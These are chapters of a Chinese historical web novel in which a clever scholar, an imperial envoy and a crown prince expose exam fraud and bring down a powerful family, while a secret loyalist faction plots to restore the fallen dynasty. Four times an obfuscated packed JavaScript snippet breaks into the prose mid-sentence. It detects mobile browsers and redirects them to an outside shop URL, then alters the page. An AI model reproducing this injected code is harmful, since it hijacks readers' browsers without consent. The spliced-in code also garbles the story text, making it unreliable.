“徐兄高义,展某敬佩。”展毓轻笑一声,话锋陡转,“你知不知道你今日为了这个理,一头扎进了多大的漩涡里?搞不好是要粉身碎骨的。” 徐仲麟翻书的手微微一顿,停在了半空。 展毓难得认真起来,低声道:“令尊当年贵为御史中丞,后突然辞官,家道中落。他有一好友名叫翟儒,翟儒翟大人因弹劾阉党被廷杖致死,联名死谏的折子上却独独少了令尊的名字。” 徐仲麟向来不是个喜形于色的人,此刻眼中虽无波澜,但直视展毓的眼神却冷得像结了冰:“家父之事,跟你有什么关系?” “没什么关系。”展毓收起方才的锋芒,又换上纯良的笑脸,“只是恰好,当年联名上书的还有我爹,家父官职不高,只是被贬了官。我看着徐兄,就觉得咱们两家颇有几分渊源,想交个朋友罢了。” 当年那场风波牵连甚广,此后朝中人人自危,前朝的命数,也终究随着殿前淌不尽的血,流尽了。 旧日的疮疤被猝不及防地揭开,徐仲麟将书卷合拢:“你既深陷囹圄,不如少费唇舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454165|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先想想自己能不能活过今晚吧。” 日影西斜,大半个下午过去了,厢房外竟然一点动静都没有。 展毓起初还能耐着性子在榻上闭目养神,渐渐地,他察觉出了一丝不寻常的意味。江起元不过是去验尸,该清理的早就被清理干净了,还能验出一朵花来不成? 不对。 江起元绝不是去看尸体的,验尸只是个幌子。他是在借着验尸的名义去查别的东西,故意把他们晾在这里大半天,是在“熬鹰”。 就在展毓想通这一层的瞬间,厢房的门被推开了。 江起元负手立在门外,逆着夕阳,看不清面容。他孤身一人,连个随从都没带。 “展毓,随本官来。” …… 后堂内室,只点了一盏油灯。 展毓在江起元示意的椅子上坐下,端端正正,神情坦然。 “那日你和李宗舫聊了什么,如实告诉本官。” “大人何必明知故问?”展毓抬起头,目光灼灼,“我不过是提醒了李大人一句,水深千尺,鱼龙混杂,若是不会凫水,最好趁早上岸,否则迟早要被水底的厉鬼拖下去做替死鬼。” “他听完作何反应?” “李大人思虑过重,脸色惨白,至于他后来怎么样,学生就不得而知了。”展毓顿了顿,“想必是得罪了水底的厉鬼,被灭了口吧。” 江起元深深地看了他一眼。这小子,滑不留手,句句在答,句句都在把案子往更深的地方引。 “大人,”展毓主动出击,抛出了诱饵,“学生之所以敢在大庭广众之下指认周蕴涛舞弊,并非仅仅因为听信风言风语,学生是对自己落榜这件事,百思不得其解。” 江起元道:“你就这么傲气?觉得天下文章皆不如你?” “并非学生狂妄,”展毓微微一笑,“学生虽确有几分才华,却也远在大人之下,学生的疑惑在于……考试那日,学生突感风寒,身体极为不适,头昏脑涨之下只勉力胡乱答完了考卷。” 他顿了顿:“按理说,这样一份残次不全的卷子,理应被打入蓝榜公示。可是放榜之日,蓝榜之上却并无学生的名字,大人不觉得奇怪吗?” 话说到这个份上,江起元认真打量起眼前这个看似狂妄自大的年轻人:“你早就知道周蕴涛会对你的卷子做手脚,所以将计就计,故意写了一份残卷?” “周家的本家在沽阳县,一直对我爹心有不满,我与周蕴涛更是水火不容,恰好开考前又有同窗看见了周蕴涛派人偷拿我的诗稿,我不过是顺水推舟。”展毓答得云淡风轻。 江起元也笑了,只是那笑意并未达眼底:“展毓,你胆子不小,把这些底牌全抖给我,连自己设局试探的事都说得一清二楚,你就不怕本官转头把你卖了?” “家父只是个小小的七品县令,在权贵多如牛毛的临安根本排不上号。”展毓笃定地说,“能活到现在,全赖有贵人相助,大人既然是为了周家而来,又何必在这儿跟学生打哑谜呢?” 5. 阋墙 “贵人保我们这么多年,也是时候尽尽忠了。” “你倒是通透。”江起元说。 展毓自嘲道:“若是刀都架在脖子底下了,还不知道递刀子的人是谁,学生的书岂不是读到狗肚子里去了?” “少跟我打马虎眼。”江起元瞥他一眼,“看来你对周延寿的底细是了如指掌了。” 展毓笑了笑:“那学生就斗胆妄言了,周大人权倾朝野,他弟弟周延寿却是个实实在在的商人,临安城一半的产业都是他家的,商税也都是他家在交,所以这一带的商人都很尊敬周延寿。” 大齐的商税本有定额,加上朝廷削减商税,对临安来说这点税不过牛毛。但是能多赚一分就多赚一分,谁会不喜欢有人帮自己交钱呢。士农工商,商始终是最末等,有朝廷那位可不够,周家巴结地方官员的手段也颇为高明,临安今年新修的河堤也是知府用周家多交的钱修的,知府得到了名望,周家又收买了人心。 展毓继续道:“商人嘛,再有钱,在官家眼里也是个夜壶,需要的时候拿来用用,嫌恶的时候恨不得踢得远远的。” 江起元抬眼看他,却并未说话。 “周家本家在沽阳县嚣张惯了,朝廷却突然派了我爹去沽阳县当县令,我爹那脾气大人您也知道,让周延寿碰了好几次壁,京城里的周大人却一言不发,周延寿当然不开心了,兄弟俩的嫌隙,早在那时候就种下了。” “周延寿咽不下这口气,更舍不得他那个宝贝儿子。”展毓顿了顿,“江大人恐怕不知,周延寿的发妻去世得早,就留下周蕴涛这么个独苗。周延寿虽然是个奸商,倒还算是个痴情种,半辈子没再续弦,对这个儿子是含在嘴里怕化了,顶在头上怕飞了,恨不得用金砖给这小王八蛋铺路。他逼着周延玺让侄子做官,就是要改换门庭。周大人爱惜羽毛,心里是一万个不情愿,但明面上,总不能绝了亲弟弟的念想。” 江起元听到此处,好整以暇地看着展毓,示意他继续。 展毓条分缕析的说着:“李宗舫到了临安,一看周家这阵势,未必真敢点头替周蕴涛作弊。可架不住手底下的人贪,收了周延寿的银子。李宗舫一看生米煮成熟饭,乐得装聋作哑,当个两不帮的泥菩萨。可如今有人闹事,东窗事发了。泥菩萨过江自身难保,江大人,您猜这位李大人回过神来的第一件事,是想干嘛?” 江起元道:“自然是联系周延玺,求一条生路。” 展毓眸光微动:“有没有可能,杀手根本就是周延玺从京城派来的人?李宗舫深信那是周大人派来送信的人,才会毫无防备地给人开门。借刀杀人,既灭了活口死无对证,又顺理成章地把屎盆子扣在周延寿的头上,只可惜……” 展毓摸了摸自己的鼻子:“周大人料事如神,偏偏没算到半路会跳出学生这么个刺头来搅局。他原先做的那些伪证和首尾,这会儿大概早就被人抹得一干二净了吧。” 江起元听罢,气极反笑:“展毓啊展毓,你前脚嘲笑张知府办案全靠臆想,本官看你这凭空捏造、信口雌黄的本事,比他是有过之而无不及!” “这当然只是学生的猜测。”展毓耸耸肩,“学生被困在暗无天日的牢房里,连只苍蝇都飞不进来,哪有门路去查实?朗朗乾坤,还得靠大人您来明察秋毫不是?” “少拍马屁!”江起元冷哼一声,从袖口里抽出一卷东西摔在桌案上,“来看看你写的是什么鬼东西!” 展毓探头一瞥,正是自己的乡试答卷,字迹倒是漂亮,可内容…… 开篇破题赫然写着:“夫欲平胡虏者,必先养猪,猪肥则国富,国富则胡虏自退矣……” 通篇辞藻华丽,引经据典,从《管子》扯到《齐民要术》,洋洋洒洒论证的却是如何把大齐的边境军户制度改为“屯田养猪”,看似荒谬但完全符合格式。 “学生这不是为了避其锋芒嘛……”展毓干咳两声,还要强词夺理,“其实这猪,乃是暗喻……” “暗喻。”江起元气得险些把砚台砸过去,“你写出这等有辱斯文的卷子,若呈到御前,你长了几个脑袋够砍?” “大人息怒,息怒。”展毓憋着笑,“您且看看,就这么一份文理不通的卷子,它上蓝榜了吗?” 大齐铁律:凡有违式、错韵、涂抹过度的卷子,必上蓝榜公示于众,直接取消资格。可展毓这份破天荒的“养猪论”,竟然平平安安、悄无声息地混在了落榜的常卷之中。 展毓道:“他爹既然已买通考官,自然也要买通誊录书办,偏偏周蕴涛恨我入骨,要在里面插一脚,让书办认出我的笔迹,在誊抄我的朱卷时,留下暗记,考官一看到这暗记,不用看内容,直接扔进落榜的常卷里就行了,如果按规矩把我的卷子上了蓝榜,那暗记岂不是大白于天下了?” …… 子夜,临安府衙正厅,灯火通明。 本次乡试的副考官刘大人、四位同考官以及誊录书办,此刻正齐刷刷地坐在下首,个个如坐针毡。 江起元端坐在主位,展毓则躲在屏风后面。江起元前半生不羁爱自由,如今套上了这身官服,打起官腔来也不含糊。 见人都到齐了,江起元开门见山道:“各位都是咱们大齐的肱骨之臣,饱学之士。陛下让各位来主理临安乡试,那是对各位的信任有加啊。” 江起元话锋陡然一转:“临安如今却传出科举舞弊的丑闻,生员闹事,主考横死,各位大人,就没有什么说法吗?” 副考官刘大人资历最老,连死去的李宗舫都得让他三分。他颤颤巍巍地站起身,拱手道:“钦差大人明鉴,下官等一直严格按照流程办事,绝不敢有半点逾越啊。” 展毓冷笑:这老头,事到临头想甩锅,恐怕晚了。 江起元见刘大人不知道是因为年纪大了还是被吓到了,双腿微颤了几下,于是放缓了语速:“老先生既然这么说,那就讲讲你们的规矩吧。这名次,是怎么判出来的?” 刘大人感受到江起元似有怒色,不敢再慢吞吞地打太极,语速极快地答道:“回大人,按历来规矩,是由李大人先从誊抄好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454166|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱卷中选出魁首。其余名次,再由下官与诸位同考官共同阅览,拟定高下。” 科举考试卷子很多,自然要分开评阅,却有条不成文的规矩,考官中官职最高的的人选出魁首,其余人再按这个口味依次排位,以示尊卑。 江起元微微颔首,这本是官场上心照不宣的平衡之道:“那不合格的废卷呢?” “凡考生试卷内有违式者,需将考生名字贴出,谓之蓝榜,凡上蓝榜者,即被取消录取资格,以儆效尤。”刘大人答得滴水不漏。 “哦?若是如此……”江起元把展毓的卷子甩了出去,“各位大人倒是教教本官,这样一份奇文,为何没有出现在蓝榜上?” 方才还在硬撑着的几位阅卷官探头一瞥那上面的“养猪论”,顿时齐刷刷跪倒在地。 江起元一步步走下台阶:“这份朱卷,誊录得倒是工整,可是墨水干涩,笔尾分叉,分明是誊录书办故意连墨都懒得磨匀,留的暗记,而这等满篇荒唐言的次品,你们竟然连看都不看,就塞进了常卷之中,这就是你们日夜不辍评出来的卷?” 几位考官抖如筛糠,捡起卷子一看,刘大人冷汗直流,以头抢地:“大人……此乃下官等一时失职,一时失职啊!” 江起元是个实实在在凭本事考上来的读书人,此刻也是真的动了怒。选贤任能的国之大典,竟落到这群酒囊饭袋手中,不知错杀多少寒门子弟的锦绣前程,又要放多少脑满肠肥的蠢货进入朝廷中枢。 评阅那份试卷的考官往前爬了几步:“下官一日要阅上百份试卷,灯下黑晕,难免头晕眼花。” “头晕眼花?”江起元厉喝一声,“把周蕴涛的朱卷和墨卷,一并给本官找出来,让他们好好醒醒神!” 不多时,差役将两份卷子呈上,扔在众人面前。 江起元指着地上的卷子:“这朱卷写得倒是不错,你们再看看他的墨卷原稿,错字连篇,字也写得不堪入目,常言道字如其人,一个人若是连笔都握不稳,如何能写出那等惊才绝艳的朱卷?誊录书办在抄这卷子的时候,就没有头晕眼花?你们阅这卷子的时候,就看不出这其中的猫腻?” 副考官刘大人面如死灰,咬死了一句话:“钦差大人,是臣等年老昏聩,阅卷不精!实乃失职之罪,众位阅卷官亦是如此,绝无半点舞弊之嫌。” 失职,顶多是降级罢官,留得青山在,科场舞弊那是掉脑袋牵连九族的重罪。 “你们那套说辞,留着去说给陛下听罢!”江起元拂袖转身,“来人!把一干考官收监入狱候审。” 待大堂被清空,展毓才慢悠悠地从屏风后踱步出来:“这群老骨头骨头倒硬,一口咬定是失职,只要他们不松口,就定不死周延玺舞弊的罪。” 江起元疲惫地揉了揉眉心:“用不着他们来定,折子一旦递回京城,又是一场腥风血雨,且等着吧。” 展毓转身走出大堂,他望着黑沉沉的天,嘴角勾起一抹讥诮的笑。普通人家兄弟阋墙都是常事,这些大官豪绅,最怕的就是兄弟。 6. 断尾 圆月挂在天上,被一缕灰蒙蒙的烟雾缠绕,月色笼罩着皇城,宫城如大兽一般蛰伏其下。 夜幕降临,铜钟被敲响。 如往常一样,随着统领一声令下,“轰隆”一声,一排禁军合力将厚重又宽阔的木门拉上。 戌时五刻,城门严丝合缝地合了起来。 不远处却传来一阵马蹄声,那马蹄声由远及近,是一支十余人的队伍,从城外疾驰而来。一百多号禁军都警惕起来,直勾勾地看着远处,浓墨的夜色之中被风卷起的尘土肆意纷飞。 安定门是通往皇城的第一道关卡,京城的咽喉。当今皇上就是从这安定门打进来,结束了苟延残喘的前朝。 不久前,皇帝才把守卫安定门的这支禁军交给了太子。 这十余人来势汹汹,骑着马往城门口冲,统领一声令下,一百多金吾卫纷纷举起了手中的长枪。直到距枪口几尺远,这一队人马方才停下来,为首那人穿着铁甲,身材高大,一脸络腮胡子,从马背上一跃而下。 站在禁军最前的统领薛千如同猎鹰一般锐利的眼睛盯着那人,目光锐利如刀,透着寒光,一把举起手中的枪指着那络腮胡道:“来者何人。” 那络腮胡子提了提嘴角,慢吞吞地对薛千抱拳道:“我们乃奉命驻在西北的统领,应陛下的旨意,特来为大都督祝寿。” 闻言,薛千却面无表情地朝手下一挥手,不一会,几人被团团围住。 “你们!”络腮胡呵了一声,其余人仍坐在马背上,现在突然被围,不得不一齐往中间退,于是几匹马撞在一起,几人脸上都有愠色。 薛千直言道:“城门已经关了,若想进城需要通关文书,几位将军的文书呢?” “甚么文书?”络腮胡晒道。 京城中的这位周大人可不是一般人敢招惹的,何况薛千一个区区的郎将。 前朝末年,多少人揭竿而起。俗话说,千军易得,一粮难求。乱世之中招兵买马尚且容易,可要供养这成千上万的兵卒,才是真正的难关。 周家本就是根基深厚的地方豪族,加之周家二公子极有经商的天赋,眼见时局动荡,二公子倾尽家财为大哥周延玺招兵买马,有了这般雄厚的财力托底,周延玺如虎添翼,硬生生在群雄逐鹿的乱世中杀出一条血路,成了一方霸主。 后来当今圣上异军突起,周延玺审时度势,毅然率领麾下精锐归顺。后随圣上平定天下,冲锋陷阵,立下了实打实的从龙首功,和皇帝更是亲如兄弟。 天下初定之时,陛下感念其功,欲封他为王,却被周延玺以无功不受禄为由百般推辞,可见情深意重。 众人明白,饶是薛千背后的靠山是太子,也不得不给周延玺几分薄面。 那络腮胡得意之极,站在原地顾盼睥睨,薛千皱了眉头,沉默片刻,也只能吩咐下去搜查过后再放行。 谁知那几人听说要搜身,都瞪起了眼,络腮胡眉毛一根根竖了起来,有人在马上吼道:“哪来的喽啰也配搜我们的身?”另一个人也冷眼扫过来,应和道,“若是扫了周大人的兴,你们担待得起吗?” 薛千面上不但并无惧色,还好整以暇地把枪立在地上,厉声道:“规矩如此,麻烦几位将军多担待。”他身后的禁军又往前走了几步,转眼已经将那群人围在中间。 “规矩?什么时候立的规矩?”络腮胡似乎没有了耐心,翻身上马,其他几人也握紧了手里的缰绳,做势就要往外闯。 禁军中有人见他们如此胆大包天,吼道:“太子定下的规矩你们胆敢不从。” 络腮胡脸上透着几分狠戾:“狗仗人势,太子让你们当护院狗,可别发疯咬伤了客人,主子把你们剥皮抽筋炖了吃,你们到了阴曹地府都不知道是为什么!” 金吾卫也皆是京营中挑选出的血气方刚之辈,哪里受过这等奇耻大辱?对方要硬闯,他们奉了太子的命令绝不能退,一时间剑拔弩张。 不知是谁先动的手,几人和禁军扭打成了一团,慌乱之下,一个统领拔出身侧宝剑,在马背上一剑刺入一个年轻禁军的胸口,这事也由斗殴事件演变成流血冲突。 一群人忽然都不动了。 大都督府此刻却是灯火通明,满堂宾客,丝竹之声不绝于耳。 今日是周延玺的五十大寿,京城里有头有脸的文武百官来了一大半,剩下那一半没来的多半是在家里捶胸顿足,恨自己官阶不够没收到请帖。 山珍海味像不要钱似的往上端,直到天黑,周府的管家还在忙着核对礼单。 其中最尊贵的客人当属本朝太子,可见皇上对周家的圣眷之重。 皇上起于民间,素来痛恨奢靡,宫中用度极简。许是代表皇帝出席,太子今日穿得颇为隆重,玄色衣袍上的金色暗纹在这金碧辉煌的大堂竟也黯淡了几分。 太子坐在席上,没有端着储君的架子,偶尔抬眼扫过下方,只需一个含笑的眼神,便能让被敬酒的官员受宠若惊,觉得这位储君当真是宽厚仁爱。 正当酒酣耳热之际,东宫的一名亲卫快步走入,在太子耳边低语了几句。太子的神色没有丝毫波动,点了点头,挥退了亲卫。 周延玺何等老辣,余光瞥见太子的动作,立刻放下筷子,作势就要起身相迎。 “周叔。” 太子抢先一步,这声“周叔”叫得情真意切。周延玺赶紧站起身,满脸堆笑着就要行礼。 “今日是周叔的寿辰,没有君臣,只有长幼。周叔要是拜了,我这杯酒可就喝不下去了。”太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454167|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼疾手快,一双坚实有力的手托住了周延玺,把他扶了起来。 周延玺顺势站直了身子,恭敬道:“殿下折煞老臣了。” 太子和他碰了碰杯,浅呷了一口,把酒杯放下:“几位将军今日回京,怎么也不提前打个招呼?若是下头人不懂规矩,误伤了将军们就不好了。” 周延玺似乎被酒熏得有些发晕,眨了眨眼,又要往下跪:“陛下开恩允他们回京贺寿,他们急于拜寿,竟不待通关文书便擅闯京师……殿下……” “哎,周叔这又是做什么。” 太子再一次拉住了他,周延玺有些茫然地抬头,见太子把酒杯朝他微微举起,又饮尽。 周延玺也不装醉了,拿起酒壶顺势要为太子添酒:“这等跋扈无纲纪之人,实在不该继续留在军中,明日一早,老臣便上疏……” 太子默不作声地把放在桌上的酒杯往旁边移了几寸,壶中倒出的酒全洒在了外边。 片刻之后,周延玺镇定地把酒壶搁在桌上,仿佛刚才什么都没有发生。 “盈满则亏,过犹不及,周叔身体不好,酒还是少喝点。”太子道。 周延玺叹了一口气:“臣也就好这一口酒了。” 群臣都像丹顶鹤一样伸长脑袋望过来,太子的视线一扫过去,又都缩进各自的龟壳里。 “今夜本不想来扫周叔的兴,只是方才收到急递,父皇让我查临安的案子,现在不仅主考官李宗舫死了,还查出科场舞弊的正是令侄周蕴涛。周叔,我实在不知该如何向父皇开口,这事儿你怎么看?” “扑通!” 这一次周延玺没有犹豫,结结实实地跪了下去:“臣那胞弟自幼顽劣,是臣没有管教好周家旁亲,才让他们在临安胡作非为,臣万万没料到他竟胆大包天,做出诛杀考官这种大逆不道之事。” 周延玺摘下头上的乌纱帽放在一旁,老泪纵横:“是臣治家不严,臣弟犯下这等死罪,臣身为长兄,难辞其咎,臣请陛下立刻下旨,削去臣的所有官职,与那逆弟同罪论处,以谢天下!” “一人做事一人当,令弟糊涂,父皇心里都明白的,岂会牵连到周叔身上?” 太子亲自捡起那顶乌纱帽,轻轻拍去上面的灰尘,然后双手捧着,郑重其事地重新戴回了周延玺的头上:“父皇常说,大齐能有今天,全赖周叔的鼎力相助。若是失去了周叔,就失去了左膀右臂,还要仰仗周叔继续为大齐鞠躬尽瘁呢。” 说罢,太子转身环视了一圈噤若寒蝉的百官,又露出了温和的笑意:“孤在这儿大家都不自在,令弟的事,自有三法司去查清原委,绝不致冤枉了功臣。周叔放宽心,诸位大人也请继续尽兴。” 官员们缩着脖子,面面相觑,连大气都不敢喘一口。 7. 夜雨 一场秋雨一场寒,高楼塌,朱门碎。 权势穿在身上光鲜亮丽,可一旦碰上惊雷暴雨,连皮带肉剥下来,底下不过都是些肉体凡胎。周家在临安府盘根错节经营了这么久,谁能料到这么一根擎天柱,一夜之间说折就折了。 由于各方心照不宣的默契,案子结得很快。 周延寿在牢里便将贿赂考官、买凶杀钦差的罪名全盘揽下,死死咬定自己那宝贝儿子周蕴涛对此毫不知情。于是乎,大势落定。周蕴涛在第二日便被去了功名,戴上枷锁押送出城,流放北境。 临安的百姓向来爱看热闹。周延寿游街那天,府衙外头被围得水泄不通。囚车穿过东市,沿途有几个愤世嫉俗的落榜书生,红着眼往里扔烂菜叶,但更多的百姓,却只是看着,眼神里甚至透着几分苍凉。 大清官未必解得了民忧,大贪官也未必不干实事。周延寿是个奸商不假,但他为了巴结地方官员收买人心,许多修桥铺路、寒冬施粥、甚至新修河堤的亏空,都是他拿真金白银填上的。 张奎升望着那远去的囚车,都忍不住心生不舍,眼里似有泪光,倒不是多有情义,他是在哭自己。临安以后要是再修河堤、垫亏空,他去哪找这么大方好用的活财神。杀个周延寿,苦的还是他们这些人。他们若是想少苦一些,就只能让百姓苦一苦了。 长街尽头,酒楼二楼。 展毓眼尾天然就带着三分上挑的弧度,笑起来风流蕴藉,让人卸下防备,不笑时又显得凉薄,他远远眺望着城门方向,不知道在想什么。 坐在对面的徐仲麟绷着脸,神色复杂。若是放在以前,他绝对不屑于跟这种不学无术的混子同桌共饮,可偏偏这些日子相处下来,那根轴得像木头的脑筋,却总是不自觉地被展毓牵着走。 “北境苦寒,周蕴涛平日里养尊处优,到了那边,未必能活过第一个冬天。”徐仲麟垂着眼,看着杯中的浊酒。 展毓将杯中酒一饮而尽,唇角轻轻弯起一个弧度:“流放和处决的区别,大概就是前者更体面些,好教上面落个宽仁的好名声罢。” “咳咳咳,”徐仲麟被这等大逆不道的话惊得一口酒呛在喉咙里,涨红了脸,“你这张嘴迟早惹出大祸!” “祸兮福之所倚嘛。”展毓托着下巴,笑得没心没肺,倒让徐仲麟把教训他的话全憋了回去。 旧案落幕,新科重开。 朝廷恩准了临安乡试重考,主考官自然是江起元。他一上任,便改了贡院里论资排辈的旧规矩。阅卷之时不分正副主考,将所有考官聚于一堂,当众商议名次。 “凡有佳作,皆拿出来共同评议,各抒己见!” 然而,到了评议展毓那份卷子时,考官们却产生了分歧。 破题依旧刁钻,论证无懈可击,读之酣畅淋漓,细品却觉着哪里不对,锋芒太盛,在那些讲究中庸平和的老翰林眼里终究太过激进。 最后还是江起元拍了板,给了个不显山不露水的名次,既全了朝廷不拘一格降人才的面子,又没把他捧得太高。 “朝堂上的木头柱子太多了,才显得死气沉沉。”江起元轻笑一声,把那张卷子拿出来,“大齐,需要活水了。” 放榜那日,已是隆冬,临安城万人空巷。 徐仲麟再次高中,而这位孤傲的解元在红榜下看到自己的名字时,不过是轻描淡写地扫了一眼。众人原本皆以为,以展毓狂傲的性子,此次必是一鸣惊人,却发现他只在红榜的中游占了个不起眼的位置。 展毓本人倒是不甚在意,他从人群中挤出来,长长地伸了个懒腰,仰头看了一眼灰蒙蒙的天:“总算是能安安稳稳睡个好觉了。” “展毓。” 展毓脚步一顿,回头望去,只见江起元未着官服,一身常服立在巷口,正负手看着他。 “委屈了?”江起元直截了当地问。 展毓几乎在瞬间换上了受宠若惊的笑脸,变脸之快令人咋舌。可偏偏他长得好看,这般逢迎的姿态做出来,竟不显得谄媚,反而颇为讨喜:“江大人这话可是折煞学生了,学生能保住项上人头,没被当成杀人犯砍了,顺带还捞了个举人的功名,全都是托青天大老爷您的福。” 江起元没有理会他的插科打诨,语气肃然:“你的文章我看了三遍,敢把军制积弊写得这么透彻的,你是第一个。只是这等锋芒,若无剑鞘收着,迟早要伤了自己。” 话里的招揽之意就差写在脸上了。江起元是太子的授业恩师,背后是东宫。他口中的“剑鞘”是谁,不言而喻。太子性情温仁,将来要制衡悍将权臣,似乎正需要这样一把锋利的刀。 展毓见他言辞切切,不像是开玩笑,反而装起了傻:“学生不过是个被周家恶少欺凌的无辜考生,哪有那般通天的本领?何况江大人,您刚才也说了,刀若是太快了,容易伤着主人。” 江起元看着他油盐不进的模样,并未强求。这等聪明人,绝不是几句场面话就能收服的。他深深看了展毓一眼,留下一句话,随风飘入展毓耳中。 “风起于青萍之末,展毓,一旦入局……可由不得你。” 夜色深沉,雨势反倒更大了些。入夜,展毓回到了暂时借住的书院。 躺在硬邦邦的榻上,听着窗外的风声,呜咽如泣,展毓辗转反侧,心绪难平。闭上眼,脑子里一会儿是白天江起元的眼神,一会儿是囚车上的周延寿。 他百无聊赖地想,周延寿倾尽财力甘作垫脚之石,帮大哥周延玺铺路时,肯定没料到,有朝一日,自己竟会沦为一颗弃子。在权力面前,即使是血肉同胞亦不过如此。 既然睡不着,他索性披衣起身,摸黑点亮了桌上的油灯,踱步进了书房。这间书院原是一位落魄老儒生留下的,平日里无人问津,角角落落都落满了灰尘。 展毓百无聊赖地在摇摇欲坠的书架上翻找,本想找本志怪小说催眠。指尖无意间扫过最底层,触碰到一本被压在角落里的残卷。书册没有封皮,他随意抽出来,借着昏黄的烛光翻开第一页。 只看了一眼,原本散漫的目光瞬间凝固。 书中详尽记录了前朝皇室起居与内廷杂录,更要命的是,书页的空白处,密密麻麻地写满了批注,字里行间透着对当今圣上窃国篡位的痛恨,以及对前朝故主的无限哀思。 “元贞旧民,遥望故都,涕泗横流……” “圣主既殁,神州陆沉,今之天下,非复天下……” 这些字迹墨色深浅不一,笔锋各异,显然不是出自一人之手,也绝非同一个年份写就。这本大逆不道的禁书,曾在无数人手中秘密传阅。 大齐立国不过区区十载,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454168|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今圣上雄才大略、扫平天下,太子仁爱宽厚,朝堂之上看起来一派国泰民安,君臣相宜的光景。 而在这光景之下,江南这片繁华又富庶的温柔乡里,竟然还有一股看不见的暗流在汹涌。有无数双眼睛,还在幽暗处望着覆灭的前朝,等待着燎原的星火。 “吱呀——” 房门被人从外面缓缓推开。夜风灌入,吹灭了蜡烛,斗室瞬间陷入黑暗中。 展毓唇角一点点勾起,反手就把手中那本足能抄家灭族的书朝门口那团黑影砸了过去。 一声闷响,书册被来人手忙脚乱地接住。 “你们手脚伸得是越来越长了。” 展毓摸索出火折子,轻轻一吹,火星亮起,重新点燃了烛台:“动作倒快,找出了这么多忠臣孝子,真不怕朝廷哪天顺藤摸瓜,把你们一锅端了?” 来人紧紧攥着那本残卷,也是个学生打扮。 “修文兄,我这辈子最想不通的就是你们这帮人。”展毓像看稀罕物似的盯着他,“前朝到底有什么可怀念的?当年饿殍遍野的时候,怎么没见你们关心一下百姓,为了个早就连灰都不剩的死鬼皇帝这么死忠。” “慎言!”李修文受到了莫大的侮辱,脸色瞬间沉了下来,“先帝乃是天命正统,前朝之亡,实乃阉党弄权,蒙蔽了圣听,当今那是趁虚而入的窃国之贼,我等读书人,当以身许国,岂能因一朝一夕之安逸,忘了君父之大仇?” “哈?” 展毓霍然收起笑声,烛光映照下,那张脸好看是好看,却又让人感觉毛骨悚然,妖异如鬼魅。 “阉党弄权,蒙蔽圣听。李修文,你读圣贤书读傻了吧。太监是个什么东西?是奴才,是主子嫌你们这帮人聒噪,特意放出来咬人的恶犬。狗咬了人,你们不敢去怪主子昏庸无道,倒跟一条狗较起劲来了,你们怀念的是先帝,还是想在史书上给自己博一个忠烈的美名。” 李修文气极:“你……你这个无君无父的狂徒……” “行了,别跟我背这些忠烈悼词。”展毓不耐烦地打断他,“大半夜来找我,总不会是上赶着找骂的吧?” 李修文深吸了好几口气,才勉强压下翻涌的怒气:“恩师原本的安排是让你蛰伏,静观其变。可你倒好,硬生生把江起元和太子的注意力全引到了你身上,恩师说了,你若再这般行事,暗生枝节,会坏了我们的大局!” “大局?” 展毓慢慢咀嚼着这两个字,一步步走到李修文面前。李修文被他骨子里透出来的压迫感震得倒退了一步,硬撑着胆气:“恩师还让我带给你一句话——” “别忘了你姓什么!” “好啊,那修文兄也替我给谢大人带一句话。 ”展毓已至他身前,笑得极尽妍丽,声音低柔缱绻 ,像是在情人耳边呢喃,“回去告诉他,我不站在高处,他拿什么复国,靠你们这些只会躲在这里写酸诗,骂太监的废物吗?” 所有的光线都聚到了展毓的眼睛里,李修文瞳孔骤缩,有一瞬间的失神。 展毓轻轻拍了拍李修文僵硬的侧脸,让他回过神来:“你也说了,我是个无君无父的疯子。疯子做事,轮不到旁人来指手画脚。” 待看清这张近在咫尺的俊脸,李修文竟然不受控制地打了个寒颤。 8. 归乡 展毓在临安城里又待了近一个月,临行前特意去了一趟城南的私塾与徐仲麟辞行,两人温了一壶薄酒,定下了“每年春日,京城再会”的约定。 